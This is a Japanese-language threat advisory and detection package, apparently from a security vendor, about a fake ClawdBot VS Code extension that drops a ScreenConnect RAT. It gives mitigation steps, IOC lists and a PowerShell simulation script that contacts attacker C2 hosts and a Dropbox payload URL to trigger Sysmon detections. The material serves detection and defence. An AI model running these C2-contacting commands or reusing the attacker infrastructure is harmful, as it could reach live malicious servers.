偽ClowdBot VS Code拡張がScreenConnect RATを配布
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
悪意のあるVisual Studio Code拡張機能である ClawdBot Agent はAIコーディングアシスタントを装っていますが、VS Codeが起動されるとWindowsに武器化されたScreenConnectリモートアクセスツールを密かにインストールします。スタートアップ時に、この拡張機能は攻撃者が制御するドメインから構成ファイルを取得し、偽のVS Codeバイナリ(Code.exe)をサポートDLLとともにダウンロードして実行します。セカンダリの配信パスとして、同じインストーラーをDropboxリンクから取得してペイロードの可用性を維持することができます。このキャンペーンは、信頼できるITサポートツールを悪用して正当なリモート管理活動に見せかけ、疑念を減らします。
調査
研究者は拡張機能のpackage.jsonを取得し、VS Codeの起動時にアクティベーションされることを確認し、悪意のあるコンポーネントを一覧化したリモートJSON構成を取得しました。バイナリアナリシスで、カスタムリレーサーバーに信号を送る署名付きScreenConnectモジュールが示されました。追加のフォールバックロジックがJavaScriptとPowerShellで見つかり、セカンダリのドメインやDropboxにホストされたペイロードを参照していました。ディスク上のアーティファクトは%TEMP%Lightshotフォルダーの下に観察されました。
緩和策
VS CodeからClawdBot Agent拡張機能を削除し、ScreenConnectインストール場所と%TEMP%Lightshotディレクトリに残っているファイルを削除します。ScreenConnectクライアントサービスをアンインストールし、特定されたリレードメインとIPへの外部接続をブロックします。拡張機能に入力された可能性のあるAPIキーや秘密を回転させます。
レスポンス
VS Code拡張機能のインストールとLightshotディレクトリの作成を監視することで悪意のある拡張機能を検出します。非標準パスからのCode.exeまたはScreenConnectバイナリの実行およびmeeting.bulletmailer.net:8041または関連するIPアドレスへの外部接続をアラートします。持続性の除去を確認し、追加のペイロードを特定するためにホスト法医学を実施します。
攻撃フロー
検出
代替のリモートアクセス/管理ソフトウェア(プロセス作成経由)
表示
PowerShellを介したダウンロードまたはアップロード (コマンドライン経由)
表示
代替のリモートアクセス/管理ソフトウェア(監査経由)
表示
代替のリモートアクセス/管理ソフトウェア(システム経由)
表示
検出するためのIOC(DestinationIP):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(SourceIP):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(HashSha256):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
検出するためのIOC(Emails):Clawdbot VS Code拡張機能がScreenConnect RATをインストールします
表示
ClawdBot VS Code拡張機能がScreenConnect RATをインストールする [Windows プロセス作成]
表示
Clawdbot VS Code拡張機能がScreenConnect RATをインストールする検出 [Windows ネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリとベースラインのプリフライトチェックが通過していること。
攻撃のストーリーとコマンド
- 攻撃者がトロイ化したVS Code拡張機能を公開 「Clawdbot Helper」と題されている。
- 被害者はVS Code Marketplace経由で拡張機能をインストールし、 それにより
postinstallスクリプトを実行し、ScreenConnectクライアント (ScreenConnect.Client.exe) を%APPDATA%ScreenConnect. - に静かにドロップします。インストール直後、クライアントは、追加のペイロードを取得し、ホストのステータスを報告するために、攻撃者が制御するC2ドメインへの3つの外部TCP接続を開始します。
- 外部接続は が検出ルールを満たす
dest_ipリストを一致させるSysmon Event ID 3レコードを生成します。
リグレッションテストスクリプト
# --------------------------------------------------------------
# シミュレーションされた悪意のあるVS Code拡張機能のポストインストールルーチン
# --------------------------------------------------------------
# ステップ1 – ダミーのScreenConnectバイナリをドロップする(シミュレート)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# 無害なプレースホルダーバイナリを作成(例: notepad.exeのコピー)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# ステップ2 – 各C2ホストへの外部接続を実行
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# サイレントなWebリクエスト; -UseBasicParsingはUIプロンプトを回避
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contacted $url"
} catch {
Write-Host "Failed to contact $url (expected in a sandbox)."
}
}
# スクリプト終了 – この時点でSysmonは3つのNetworkConnectイベントをログに記録し、そのDestinationIp値がルールに一致するはずです。
クリーンアップコマンド
# --------------------------------------------------------------
# シミュレーションされたアーティファクトを削除する
# --------------------------------------------------------------
# 残りのPowerShellジョブを停止する(このシンプルなスクリプトではなし)
Get-Job | Remove-Job -Force
# ダミーのScreenConnectクライアントフォルダを削除
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Sysmonバッファをクリアする(管理者権限が必要)
# sysmon -c